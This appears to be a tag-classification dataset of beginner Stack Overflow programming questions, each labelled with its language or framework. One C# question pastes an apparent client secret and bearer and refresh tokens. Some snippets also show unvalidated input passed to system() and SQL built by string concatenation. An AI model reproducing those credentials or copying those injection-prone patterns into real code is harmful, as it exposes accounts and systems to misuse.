new line string  \n  not being recorgnized by nl2br  i have a string which is returned by a web service and contains the new line characters   \n . when i try to output the string with the <a href= http://de2.php.net/manual/en/function.nl2br.php  rel= nofollow >nl2br</a> function  the string is returned as is  with  \n  inside the string.     could it be possible that the new line character needs to have some special encoding to be identified as such or am i missing something trivial here     hex representation of the input string   <pre><code>48617570747374726173736520315c6e416e737072656368706172746e65723a204d6178204d75737465726d616e6e </code></pre>,php
how to get the first value inside a drop down list as select   i m doing a project in asp.net using 3-tier architecture. using various trial and errors i have successfully binded the values inside a column of a table inside the dropdownlist.    the thing that i m stuck with right now is that during the pageload event i get the values inside the dropdown box that are available in my table. but the real problem is i have to get the first value inside the dropdownlist as  select  or  choose any one . i m not able to do this.    heres my code   <pre><code>        datatable datatable = new datatable();        _bl = new homefileuploadbl();         voo = _bl.selectnameofdocument();         datatable = voo.documentname;         ddldocument.datasource = datatable;         ddldocument.datatextfield = datatable.columns[ name ].tostring();         ddldocument.datavaluefield = datatable.columns[ name ].tostring();         ddldocument.databind(); </code></pre>   notations are:  ddldocument refers to dropdownlist  datatable refers to datatable  _bl refers to the object of business class  voo.document refers to the value object class document is of the type datatable.    as soon as the page loads the first value from the table is available inside the dropdownlist.    also when i click on the dropdownlist my first value shoul be  select  or  choose any one     am im missing that is really obvious.,asp.net
what s the different between the action in web api controller and the action in a general controller  i searched some information about the web api. that s an easy way to post the data to the client side such as mobile and browser. and i have read the <a href= http://www.asp.net/web-api/overview/getting-started-with-aspnet-web-api/tutorial-your-first-web-api  rel= nofollow >article</a>.    i found that if i just wrote a controller like this:   <pre><code>public homecontroller:controller {     [httpget]     public void userinfos()     {         userinfo[] users = new userinfo[]{ new userinfo{firstname= tim  lastname= lee }   new userinfo{firstname= tim2  lastname= lee2 }} };          return json(users);     } } </code></pre>   and i can also get the json data by typing a url like this:   <pre><code>[http://]localhost:port/home/userinfos </code></pre>   beside this  what the other differences between those,.net
taprecognizer in view and scrollview (to drag and drop images in a view)  iphone-i created a view and a scrollview. the scrollbiew have images inside their view. i d like to implement a method which makes it possible for the user to drag images on a view from scrollview list  plz help me!,iphone
table not visible inside database  i have copied a table (arts2.frm) from another computer and pasted it in c>xampp>mysql>data>admission2 of my computer so that i can work with the structure and data of arts2.frm. but i cannot see the table inside the database admission2.     i am using phpmyadmin 127.0.0.1 downloaded free from web. i am just a beginner in this field. please excuse my ignorance and help me in this regard.,mysql
list of pointers to methods of derived classes  i m trying to create the following in c++:   <pre><code>class a {     specialcontainer&lt;specialtype&gt; list_of_callables;      void add_to_container(specialtype *method); // adds method to the specialcontainer };  class b : public a {     void method_1(); }; </code></pre>   such that a pointer to <code>method_1</code> can be inserted into the container using  e.g.    <pre><code>a.add_to_container(&amp;b::method_1) </code></pre>   and consequently be called in an iteration inside a using for instance   <pre><code># pseudo code for item in container     (this-&gt;*item)(); </code></pre>   (notice that a does not define <code>method_1</code>).    my question is: is this even possible to do  even if with <code>void*</code>  a boost lib or some c/c++ hack  if yes  how     (i m sorry if the answer is obvious  i came back from python recently).   <hr>   so far  i tried using    <pre><code>typedef void (a::*specialtype)(); </code></pre>   and <code>specialcontainer</code> a <code>std::vector</code>  but with no success since <code>method_1</code> is obviously from b  i.e. i would have to call   <pre><code>add_to_container(&amp;b::method_1) </code></pre>   which is an invalid compilation.,c++
what is python s  abort    c uses <code>abort</code> to terminate the process by raising a sigabrt signal. what is the equivalent <code>abort</code> in python  thanks.,python
union all and join in sql  i have 2 tables   <pre><code>t1: custid    custname         1        aaa        2        bbb  t2: custid    tax1    tax2         1      5     10        2      4     8 </code></pre>   i need to write a query which brings as a result the following table   <pre><code>t3: custid    custname    taxname    taxvalue        1       aaa       tax1       5       1       aaa       tax2       10       2       bbb       tax1       4       2       bbb       tax2       8 </code></pre>   i was able to union all   <pre><code>select custid  tax1  [taxname]  tax1 [taxvalue] from t2  union all  select custid  tax2  [taxname]  tax2 [taxvalue] from t2 </code></pre>   but couldn t join here custname from t1,sql
asp.net dropdownlist mantains only certain values through postback  i m trying to figure out what s going on with a project i m developing for a big bottling customer. there is a main query that selects a range of products  and four subqueries (one for each dropdownlist) that select four common characteristics on this list (flavour  packaging  format and brand) for filtering purposes. when i select one of the values in a dropdownlist  after the postback only some values are mantained. i ve removed from the aspx page all the scripts and controls  and i ve left only the dropdownlists  and i ve populated only one of them (the brand list  you can imagine from the values how much important can be this customer...). the subquery extracts the following values :   <ul> <li>$$ nessuno</li> <li>a coca-cola</li> <li>b fanta</li> <li>c sprite</li> <li>d kinley</li> <li>g1 amita</li> <li>l burn</li> <li>q1 tepelene</li> </ul>   when i select one of these values  only the last three are mantained; if i select one of the other the dropdownlist always select the first one. this is also confirmed by a breakpoint on the selectedindexchange event that inspects the selectedindex value of the dropdownlist. if i populate another dropdownlist that has more elements  the selection is mantained only from index 5. in every list the five first elements seems to be ignored. i can confirm  with a breakpoint on the page_load event  that the lists are not re-binded on each postback. this is the remaining aspx page :   <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codebehind= ~/wpgeo/wpimagepopup.aspx.cs  inherits= webgeoref.wpgeo.wpimagepopup  enableeventvalidation= false  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;     &lt;head runat= server &gt;         &lt;title&gt;dettaglio immagine&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;form id= frmimagepopup  runat= server &gt;             &lt;asp:dropdownlist id= cbgrp6  runat= server  autopostback= true  width= 110px  enableviewstate= true                  onselectedindexchanged= cbgrp6_selectedindexchanged  &gt;             &lt;/asp:dropdownlist&gt;             &amp;nbsp;             &lt;asp:dropdownlist id= cbgrp5  runat= server  autopostback= true  width= 110px  enableviewstate= true                   onselectedindexchanged= cbgrp6_selectedindexchanged  &gt;             &lt;/asp:dropdownlist&gt;             &amp;nbsp;             &lt;asp:dropdownlist id= cbgrp7  runat= server  autopostback= true  width= 110px  enableviewstate= true                  onselectedindexchanged= cbgrp6_selectedindexchanged  /&gt;             &amp;nbsp;             &lt;asp:dropdownlist id= cbgrp4  runat= server  autopostback= true  width= 110px  enableviewstate= true                  onselectedindexchanged= cbgrp6_selectedindexchanged  /&gt;             &amp;nbsp;         &lt;/form&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   and this is the snippet from the code behind page that populates the dropdownlist:   <pre><code>sqldataadapter fda = new sqldataadapter(); cmd.length = 0;  cmd.append( select    + tagimage.void_tag +    as   + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.codice]); cmd.append(   nessuno  as   + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.descrizione]); cmd.append(  union  ); cmd.append( select   + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.codice]); cmd.append(    + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.descrizione]); cmd.append(  from   + oversofttablenames.grouping4);  int idx1 = cmd.length; // indice che ci permette di variare la tabella di raggruppamento; avendo lo stesso nome ma cambiando solo il numero finale...  cmd.append(  where   + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.codice] +   in  ); cmd.append( ( );  // il prosieguo della query serve per non visualizzare le righe dei raggruppamenti che non sono comprese nell elenco dei prodotti. cmd.append( select distinct e.  + ovsfldprodotti.names[(int)ovsfldprodotti.codes.gruppo4]);  int idx2 = cmd.length;  cmd.append(  from   + marduktablenames.puntivendita +   a ); cmd.append(  left join   + oversofttablenames.associacontrattipv +   b ); cmd.append(  on b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicecapitolo] +  =a.  + mdkfldpuntovendita.names[(int)mdkfldpuntovendita.codes.canale] +   +  0010  ); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicetrade] +  = *  ); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicetrademember] +  = *  ); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicesubcanale] +  =a.  + mdkfldpuntovendita.names[(int)mdkfldpuntovendita.codes.subcanale]); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicefornitore] +  = *  ); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codiceinsegna] +  = *  ); cmd.append(  left join   + oversofttablenames.contratti +   c ); cmd.append(  on b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicecapitolo] +  =c.  + ovsfldcontratti.names[(int)ovsfldcontratti.codes.codicecapitolo]); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicecontratto] +  =c.  + ovsfldcontratti.names[(int)ovsfldcontratti.codes.codice]); cmd.append(  left join   + oversofttablenames.associacontrattiprodotti +   d ); cmd.append(  on b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicecapitolo] +  =d.  + ovsfldassociacontrattiprodotti.names[(int)ovsfldassociacontrattiprodotti.codes.codicecapitolo]); cmd.append(  and b.  + ovsfldassociacontrattipv.names[(int)ovsfldassociacontrattipv.codes.codicecontratto] +  =d.  + ovsfldassociacontrattiprodotti.names[(int)ovsfldassociacontrattiprodotti.codes.codicecontratto]); cmd.append(  left join   + oversofttablenames.prodotti +   e ); cmd.append(  on d.  + ovsfldassociacontrattiprodotti.names[(int)ovsfldassociacontrattiprodotti.codes.codiceprodotto] +  =e.  + ovsfldprodotti.names[(int)ovsfldprodotti.codes.codice]); cmd.append(  where a.  + mdkfldpuntovendita.names[(int)mdkfldpuntovendita.codes.codice] +  =   + fimagetag.puntovendita +    ); cmd.append(  and c.  + ovsfldcontratti.names[(int)ovsfldcontratti.codes.validodal] +  &lt;=   + fimagetag.data.tostring( yyyymmdd ) +    ); cmd.append(  and c.  + ovsfldcontratti.names[(int)ovsfldcontratti.codes.validoal] +  &gt;=   + fimagetag.data.tostring( yyyymmdd ) +    ); cmd.append(  and e.  + ovsfldprodotti.names[(int)ovsfldprodotti.codes.codice] +   is not null );        // presenza di un prodotto associato. cmd.append( ) );  cmd.append(  order by   + ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.codice]);  fcmd.commandtext = cmd.tostring(); fda.selectcommand = fcmd; datatable tblgrp4 = new datatable();  fda.fill(tblgrp4);  cbgrp4.datasource = tblgrp4; cbgrp4.datatextfield = ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.descrizione]; cbgrp4.datavaluefield = ovsfldgrouping4.names[(int)ovsfldgrouping4.codes.codice];  cbgrp4.databind(); </code></pre>   the query automatically inserts the  nessuno  item with a code that appears before all the other codes used  because the dropdownlist seems to not like empty values on the datavaluefield member. there are some other drpdownlist in the same project  populated at the same manner  but casually they work well... the only difference is that the not-working dropdownlists are on a popup page. any help will be very appreciated.    rodolfo.    ps: tried today with the controls on a standard aspx page  instead of a popup  but nothing changed.,asp.net
angular js accordian unable to toggle tab in function  i am using angular js accordion to expand collapse tabs:    following i am using to change accordion:   <pre><code>$scope.accordionopen.final = true; </code></pre>   it works well in controller too  but when i put it inside a controller it stops working   <pre><code>            paymill.createtoken(params  function(error  result){                                     $scope.accordionopen.final = true;             }); </code></pre>   <strong>$scope.accordionopen.final = true;</strong> is inside controller only     can anyone help me to solve accordion issue    thanks.,angularjs
calculate balance from debit and credit column and select users in mysql   i have table accounts in which i have following 3 columns    users_id  debit  credit    i want to take out balance  so for that i need to check how many credit users have and then delete the debit from that and count as total balance for one user. and like this select all such users in one table  or total number of users with balance more than 1    i have done like this   <pre><code>    select *   ( sum( credit ) ) - sum( debit ) as totalbalance from accounts group by user_id </code></pre>   i want only users those who have more than one balance,mysql
reduce line-height between two i-elements  i have an issue with the line-height. is there a way to reduce the line-height and move the i-elements closer so at least the petrol-background touch since it s not possible to use a negative value for line-height     <a href= https://jsfiddle.net/g1c6m8ao/2/  rel= nofollow >js fiddle</a>    html:    <pre><code>&lt;i&gt;nummer eins&lt;/i&gt;&lt;br&gt; &lt;i&gt;nummer zwei&lt;/i&gt; </code></pre>   css:   <pre><code>@import url(http://fonts.googleapis.com/css family=lora:400 400italic 700 700italic);  i { font-family:  lora   serif; font-size: 0.8em;        font-weight: normal; line-height: 0em; padding: 0px 3px; color: white; background-color: #406a76; } </code></pre>   thanks in advance!,css
alert box isn t raised in the code  its written for conform msg  function    <pre><code>        fcontroller($scope $window)         {            $scope.persons=[];              $window.alert( hi in body );             $scope.saveit = function () {               $window.alert( alert in save );              //$scope.persons.push({    });             };           }        &lt;button  id= bt1  ng-click= saveit() &gt;save&lt;/button&gt; </code></pre>,angularjs
accessing buttons in a table using accessibility labels  <img src= https://i.stack.imgur.com/z5y7c.png  alt= enter image description here >    i need a way to get a reference to each button in the calendar so i can alter its background image whenever i want. i want to do:   <pre><code>uibutton *button = [get_reference_to_button_using_accessibility_label]; [button setbackgroundimage:image] </code></pre>   when i initialize the buttons  i set the buttons  accessibility labels. can i use them to get a reference to each button and change its background color    <pre><code> for (nsuinteger index = 0; index &lt; self.daysinweek; index++) {         nsstring *title = [self.dayformatter stringfromdate:date];         nsstring *accessibilitylabel = [self.accessibilityformatter stringfromdate:date]; // i can probably use it to refer to this button           [self.daybuttons[index] settitle:title forstate:uicontrolstatenormal];         [self.daybuttons[index] setaccessibilitylabel:accessibilitylabel];         nslog(@ day buttons!! %@   self.daybuttons[index]);          ... </code></pre>,ios
mysql: error code: 2013. lost connection to mysql server during query  i load xml to mysql database. but it reports   <strong>error code: 2013. lost connection to mysql server during query</strong>    after <strong>600sec</strong>.    mysql version: mysql-installer-community-5.7.9.0    load code:   <pre><code>create table posts ( id int not null primary key  posttypeid smallint  acceptedanswerid int  creationdate datetime  score int null  viewcount int null  body text null  owneruserid int  lasteditoruserid int  lasteditdate datetime  lastactivitydate datetime  title varchar(256)  tags varchar(256)  answercount int  commentcount int  favoritecount int  communityowneddate datetime  parentid int        </code></pre>   );   <pre><code>load xml infile  e:/input/posts.xml  into table posts rows identified by  &lt;row&gt; ; </code></pre>   i have modifed the file   <strong>my.ini</strong>   with following parameters:   <pre><code>max_allowed_packet = 1024m interactive_timeout = 2880000000 connect_timeout = 2880000000 net_write_timeout = 2880000000 wait_timeout = 2880000000 net_read_timeout = 2880000000 </code></pre>   i didnot find any solution about the error.  anybody can help me fix the bug,mysql
get the ok massage from http posrequest <pre><code>{    token_type :  bearer      access_token :  ew0kicaiywxnijogikhtmju2iiwnciaginr5cci6icjkv1qidqp9.ew0kicaidg9rzw5eyxrhijoginpjexnxswcvbnbjtjbzwg5bslpla0jjqtrernvmk2jcctfrt0vhbwxcbxriehjitfdhbvzbvnluszl2u0dqrvpzdw1tz1dqrerwemu3uephswhptjjieggvwurhl09qalfyqxzfshlrrkrucufum05nk3zhy2rkmnbatlfryvphneu4mjhkvfzpmndutml2n1g3ohr4vmkxcs84bnbmn25ncwc1ukzlz1vockhpuuu1wxjumlvsrmjtv200ddnsthoywtjpa2zmourjotvbthivv25rdjdhwkljnlj1rld5othid05zohpcmxc9iiwnciagimnsawvudeleijogimnhnjq3zdc3otzjntq4mja5y2rkytllzdawngmzogfhnti0ode3mtcwodayodawndyyocisdqogicjyzxbsevvybci6icjodhrwoi8vbg9jywxob3n0iiwnciagim5izii6ide1mtmwntkxmtcsdqogicjlehaioiaxntezmdywote3la0kicaiawf0ijogmtuxmza1otexnw0kfq.ixrdllyfrj-oqs6lzklhf07skr9z1i-3w1u7rtrppge      expires_in : 1800.0     refresh_token :  zcysqig/npin0yxnajzkkbia4dful+bbq1koeamlbmtbxrhlwamvavynk9vsgpezgs5oad7gpy2oobseahh48aq/er3wzonoijwqrxefnku=  } </code></pre>   this is what i have json response. i want to display acces_token from this.so i want code line.  this is the code i try to get this json.   <pre><code>public async task newmethodasync() {     try     {         httpclient objclient = new httpclient();          uri requesturi = new uri( https://approvalbotbeta.azurewebsites.net/api/token );         dictionary&lt;string  string&gt; pairs = new dictionary&lt;string  string&gt;();         var client_id =  ca647d7796c548209cdda9ed004c38aa5248171708028004628 ;         var client_secret =  qxbwcm92ywxcb3rfve9h7auiwc6rhe6lds6wgsqwh2nhnjq3zdc3otzjntq4mja5y2rkytllzdawngmzogfhnti0ode3mtcwodayodawndyyoa== ;         pairs.add( grant_type    client_credentials );         pairs.add( reply_url    http://localhost );         formurlencodedcontent httpcontent = new formurlencodedcontent(pairs);         var encordedstring = convert.tobase64string(system.text.encoding.utf8.getbytes(client_id +  :  + client_secret));         // httpcontent.headers.add( authorization    basic   + encordedstring);         //httpcontent.headers.add( authorization    basic   + encordedstring);         // httpcontent.headers.add[ authorization ] =  basic  + encordedstring;          objclient.defaultrequestheaders.add( authorization    basic   + encordedstring);          httpresponsemessage respon = await objclient.postasync( https://approvalbotbeta.azurewebsites.net/api/token   httpcontent);         if (respon.issuccessstatuscode)         {             console.writeline(respon.content.readasstringasync().result);          }     }     catch (exception ex)     {          console.writeline(ex.message);     } } </code></pre>,c#
cant get choose value to if loops  help    <pre><code>#include &lt;iostream&gt; #include &lt;math.h&gt; using namespace std; const float pi = 3.14; void odabir(int); int main(){     int choose;     cout &lt;&lt;  odaberite 1 2 ili 3  &lt;&lt; endl;     cin &gt;&gt; choose;     odabir(choose);     return 0; } void odabir(int choose){     if (choose = 1){         float b  vb;         cout &lt;&lt;  unesite duljinu stranice b:   &lt;&lt; endl;         cin &gt;&gt; b;         cout &lt;&lt;  unesite duljinu visine na stranicu b vb:   &lt;&lt; endl;         cin &gt;&gt; vb;         cout &lt;&lt;  povrsina raznostranicnog trokuta je:   &lt;&lt; ((b*vb) / 2) &lt;&lt; endl;     }     if (choose = 2){         float r;         cout &lt;&lt;  unesite duljinu polumjera:   &lt;&lt; endl;         cin &gt;&gt; r;         cout &lt;&lt;  povrsina kruga je:   &lt;&lt; pow(r  2)*pi &lt;&lt; endl;     }  } </code></pre>   been trying to solve that for few hrs and i cant get thru it   it looks like when i set choose value all three if s got executed and printed.,c++
how to fix type qualifiers errors in classes   this is my main.cpp code. the input is 3 strings and the output prints out the value and length of the 3 string objects passed to it   <pre><code>void display(const string &amp;str1  const string &amp;str2  const string &amp;str3) {   cout &lt;&lt;  str1 holds \  ;   str1.print(); // the error is here about the str1   cout.flush();   cout &lt;&lt;  \  (length =   &lt;&lt; str1.length() &lt;&lt;  )  &lt;&lt; endl;    cout &lt;&lt;  str2 holds \  ;   str2.print();   cout.flush();   cout &lt;&lt;  \  (length =   &lt;&lt; str2.length() &lt;&lt;  )  &lt;&lt; endl;    cout &lt;&lt;  str3 holds \  ;   str3.print();   cout.flush();   cout &lt;&lt;  \  (length =   &lt;&lt; str3.length() &lt;&lt;  )  &lt;&lt; endl; } </code></pre>   this is the error:    error c2662:  string::print  : cannot convert  this  pointer from  const string  to  string &amp;     this is in my implementation file file: did i do something wrong here    <pre><code>void string::print() { cout &lt;&lt; m_pname &lt;&lt;  :  ; cout &lt;&lt; (int)m_str1 &lt;&lt;     ; cout &lt;&lt; (int)m_str2 &lt;&lt;     ; cout &lt;&lt; (int)m_str3 &lt;&lt; endl; } </code></pre>,c++
i will increase the memory_limit  but in my file system there are so many php.ini files  so what should i do now  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3666315/allowed-memory-size-of-33554432-bytes-exhausted-tried-to-allocate-12-bytes >allowed memory size of 33554432 bytes exhausted (tried to allocate 12 bytes)</a>    </blockquote>     i have so many php.ini file in my file system  so it is not possible for me to check which is important in that.,php
calling executable file inside c program  i have a c program which will take one argument as input and  if the argument is matching with the string inside the executable  it will return 1 otherwise 0. the executable file name is <code>prg1</code>. i have some input strings in a file named <code>inputs.txt</code>. i want to get those strings from the input file and call the <code>prg1</code> inside a c program with each string.     i have tried the following code but it s not working.there is no segmentation fault but when i am calling prg1 it executes  because the printf() statement inside prg1 is working and i can see the output.it changes variable found to 0i cant change the prg1. because my friend has given the executable file of that program to me  not the source code. header files are stdio.h and string.h   <pre><code>int main() {     file *fk;     char text[80] inp[16] test[50]={ ./prg1  };     int found=100;     fk=fopen( inputs.txt   r );     while((fscanf(fk  %s  inp))!=eof)     {         strcat(test inp);         found=system(test);         if(found==1)         {             printf( \nanswer is   : %s  inp);             break;         }             strcpy(test  ./prg1  );      }     fclose(fk);     return 0; } </code></pre>   what is wrong with my code,c
simple_form checkboxes with associations  i am working with simple_forms and my aim is to create a check box based on selection. i should save it in an associative table.    i write models like   <pre><code>class purchase &lt; activerecord::base    attr_accessible :username  :cardno  :ctype   has_many :items end  class createitems &lt; activerecord::migration   def change     create_table :items do |t|       t.timestamps     end   end end  class addfield &lt; activerecord::migration   def up     add_column :purchases  :ctype  :string     add_column :items  :item_name  :string      add_column :items  :purchase_id  :integer   end    def down      remove_column :purchases  :ctype     remove_column :items  :item_name      remove_column :items  :purchase_id   end end </code></pre>   and i have written view like   <pre><code>&lt;%= simple_form_for @purchase  :url =&gt; { :controller =&gt;  payments   :action =&gt;  show  } do |f| %&gt;  &lt;%= f.input :username  :label =&gt;  username:   :wrapper_html =&gt; { :class =&gt;  uname_div } %&gt; &lt;%= f.input :cardno  :label =&gt;  number on the card:   :wrapper_html =&gt; { :class =&gt;  uname_div } %&gt;  &lt;%= f.collection_radio_buttons :ctype  [[true   debitcard ]  [false   creditcard ]]  :first  :last %&gt; &lt;%= f.association :items  :label =&gt;  items purchased:   :collection =&gt; [ ac   mobile   fridge ]  :as =&gt; :check_boxes %&gt; &lt;%= f.button :submit  :value =&gt;  submit   :class =&gt;  sub_div  %&gt; &lt;% end %&gt; </code></pre>   when i submit the data  it gives an error like   <blockquote>    activemodel::massassignmentsecurity::error in paymentscontroller#show        can t mass-assign protected attributes: item_ids  </blockquote>,ruby-on-rails
do i need to retain an object if i m only using it inside the scope of a single method   i m getting weird exc_bad_access errors. i thought that i didn t need to retain objects if i was didn t need them after the method exited  but i want to double-check that. in the following  do i need to retain  tdata      <pre><code>-(void)mymethod:(uitouch*)touch{     touchdata *tdata = (touchdata *)cfdictionarygetvalue(datasbyuitouch  touch);     [tdata dosomething]; } </code></pre>,objective-c
how to get the property name and value  i would like to create a handler that will take a lambda expression and return the name of the property that is passes in  and the value of the property.    here is a sample:   <pre><code>class program {     static void main(string[] args) {          var handler = new handler();         contact contact = new contact() { firstname =  john   lastname =  travolta  };          handler.dosomething(x =&gt; contact.firstname);         handler.dosomething(x =&gt; contact.lastname);      } }  public class contact {     public string firstname { get; set; }     public string lastname { get; set; } }  public class handler {     public void dosomething(func&lt;object  object&gt; func) {         //write the name of the property.         console.writeline( );          //write the value of the property.         console.writeline( );     } } </code></pre>   how can i do this,c#
why can t i implement an interface this way  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5709034/does-c-sharp-support-return-type-covariance >does c# support return type covariance </a>    </blockquote>     i m not sure if i m just being stupid...    if i have an interface:   <pre><code>public interface imoop {     object moop(); } </code></pre>   why can t i implement it like so (i guess this would use implicit covariance )   <pre><code>public class moopimplementor : imoop {     string moop(); } </code></pre>   any instance of moopimplementor would meet the contract specified by imoop  so it seems like this should be ok.    please enlighten me :)    edit: to be clear- since the implementing class returns something that inherits from the return type of the interfaced method - i feel this should work. specifically  a <code>string</code> is an <code>object</code>. (and the same goes for any other inhertiance chain).,c#
what s the best way of distinguishing bools from numbers in python   i have an application where i need to be able to distinguish between numbers and bools as quickly as possible. what are the alternatives apart from running <code>isinstance(value  bool)</code> first     edit: thanks for the suggestions. actually  what i want to be able to do have a check for numbers that leaves out bools so that i can reorder my checks (numbers are far more prevalent) and improve my negacalls. <code>isinstance()</code> itself is fast enough. the <code>x is true or x is false</code> is intriguing.,python
how to find finger print touch id count   is there any way to find out how many  finger print touch id register in iphone5s device onwards,ios
role of ie.browser file in .net framework  i need to know the role of ie.browser file which is there in .net framework which stores the definition of browser version under following folder <strong>windows\microsoft.net\framework\v4.0.30319\config\browsers</strong>.    i need to know how framework uses it and how it effects the rendering of web page.    i wanted to add something that this file is only observed in framework 2.0 and 4.0  why this has been skipped in earlier version.    need to know details.    what if the definition for certain browser is missing does it generate html according to previous version or does it in different way  for eg: definition for ie 10 is missing from browser files but still it displays webpage  however some code does not works as expected.    can any one explain why such behavior is there,.net
set attribute onclick of a usercontrol  i am using a third party control which not shows any onclick event option  since its a user control how can i add onclick event to it     thanx,asp.net
how to use inline ngstyle with object  all:    i am pretty new to ngstyle  i wonder why my directive template code not work  like:   <pre><code>template:  &lt;div ng-style= { color : red } &gt;this is test ngstyle&lt;/div&gt;  </code></pre>   the error is like:   <blockquote>    <strong>error: error:ueoe unexpected end of expression</strong>         unexpected end of expression: {0}  </blockquote>   thanks,angularjs
home buttons cancels uiview animation  how would i stop ios from canceling the animations i set up for uiviews when someone taps the home button during an animation  in the above scenario the delegate s stop selector is called with the finished boolean no.,ios
virtually create sd card in eclipse  i wanted to know how to virtually create sd card in the emulator. also i wanted to know where the app is really installed on the device.is it in sd card or in internal memory..thanks in advance,android
creating variable in as raw_input  syntax error <pre><code>driver_name = print(raw_input( what is your name :  )) </code></pre>   i figured that this might create something like a console input to enter name  but i was wrong and it s returning a <code>syntaxerror</code>. i tried with and without the parentheses  to no avail.,python
stopping event propgation for select option in angular js  in anagulr js how i can stop event propogation on select option.i have below table.in this i have select option placed on row.i have on click event on row.when i select option it triggers row click event which i want to prevent.how i can prevent this.   <pre><code>&lt;table&gt;     &lt;tr onclick= callme() &gt;         &lt;td&gt;             &lt;select ngchange= callup() &gt;                 &lt;option&gt;1&lt;/option&gt;                 &lt;option&gt;2&lt;/option&gt;              &lt;/select&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,angularjs
c++ what am i doing wrong  is anybody able to help me  i am not able to figure out for the lfe of me why i cannot get this program to work for me.   <pre><code>#include &lt;iostream&gt;  using namespace std;  int main() { int cookies  box  container; double extracookies  extraboxes;  box = 0; container = 0;  cout &lt;&lt;  enter the amount of cookies you want shipped:  ; cin &gt;&gt; cookies;  if (cookies == 24) box = box++; else if (cookies &gt; 24) box = cookies / 24;  if (box == 75) container = container++; else if (box &gt; 75) container = box / 75;  extracookies = cookies % 24; extraboxes = box % 75;  cout &lt;&lt;  the number of boxes to ship are:   &lt;&lt; box &lt;&lt; endl; cout &lt;&lt;  the number of containers to ship are:   &lt;&lt; container &lt;&lt; endl;  if (extracookies &gt; 0) cout &lt;&lt;  there were   &lt;&lt; extracookies &lt;&lt;   cookies left over.  &lt;&lt; endl;  if (extraboxes &gt; 0) cout &lt;&lt;  there were   &lt;&lt; extraboxes &lt;&lt;   boxes left over.  &lt;&lt; endl;  system( pause ); return 0; } </code></pre>   my extraboxes prints just whatever my box value comes to and i cant seem to get a value to print for my container.....,c++
can i create a property on a javascript object that s new every time it s referenced   in the code below  the output will be the same.   <pre><code>function dateobject() {     this.date = new date(); }  var wrapper = {     dateobj: new dateobject() };  console.log(wrapper.dateobj.date);  settimeout(function () {     console.log(wrapper.dateobj.date); }  3000); </code></pre>   i actually stumbled across this checking to make sure that the value of the property doesn t change  but now i m curious. is there a way to have a property that isn t a function  but rather the evaluation of a function  that will be new every time   i ask because you can do it in other languages (think <code>system.datetime</code> in c#).,javascript
how to removehandler for a list<image> in java   i have this code:   <pre><code>private handlerregistration filterimagehandlerreg=null; public void resetvariables(){     if(filterimagehandlerreg!=null){          filterimagehandlerreg.removehandler();      } }  public void calldata(){       resetvariables();       for(int i=0; i&lt;getview().getfilterimagelist().size(); i++){            image filterimage=getview().getfilterimagelist().get(i);            filterimagehandlerreg= filterimage.addclickhandler(new clickhandler(){                  @override                  public void onclick(clickevent event) {                        system.out.println( test );                  }            });       } } </code></pre>   thre is a button to <code>calldata();</code> when i click that button 1 time  everything fine  it means when clicking image it will printout:   <pre> test </pre>   however  if i click button 2 time &amp; then when click on image just 1 time  it will print out   <pre> test test </pre>   it mean the image was added multiple <code>clickhandler();</code> &amp; <code>filterimagehandlerreg.removehandler();</code> doesn t work.    how to fix the problem,java
dll classes and their access  does a dll(dynamic linking library) contains more than one class  if it contains how to get the classes and their methods separately in .net in c#,.net
validation fails  redirect to another webpage  how do i code when my validation fails more than 3times  the user will direct to another page,asp.net
call function without creating an instance of class first <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/735975/static-methods-in-python >static methods in python </a>    </blockquote>     i think my question is pretty straight forward  but to be more clear i m just wondering  i have this :   <pre><code>class mybrowser(qwebpage):         settings for the browser.         def __init__(self):         qwebpage.__init__(self)         pass      def useragentforurl(self  url=none):             returns a user agent that will be seen by the website.             return  mozilla/5.0 (windows nt 6.2; wow64) applewebkit/537.15 (khtml  like gecko) chrome/24.0.1295.0 safari/537.15  </code></pre>   and some where in a different class  that is in the same file  i want to get this user-agent.   <pre><code>mb = mybrowser() user_agent = mb.useragentforurl() print user_agent </code></pre>   i was trying to do something like this:   <pre><code>print mybrowser.useragentforurl() </code></pre>   but got this error:   <pre><code>typeerror: unbound method useragentforurl() must be called with mybrowser instance as first argument (got nothing instead) </code></pre>   so i hope you got what i m asking  some times i don t want to create an instance  and than retrieve the data from this kind of function. so the question is it possible to do  or no  if yes  please give me some directions on how to achieve this.,python
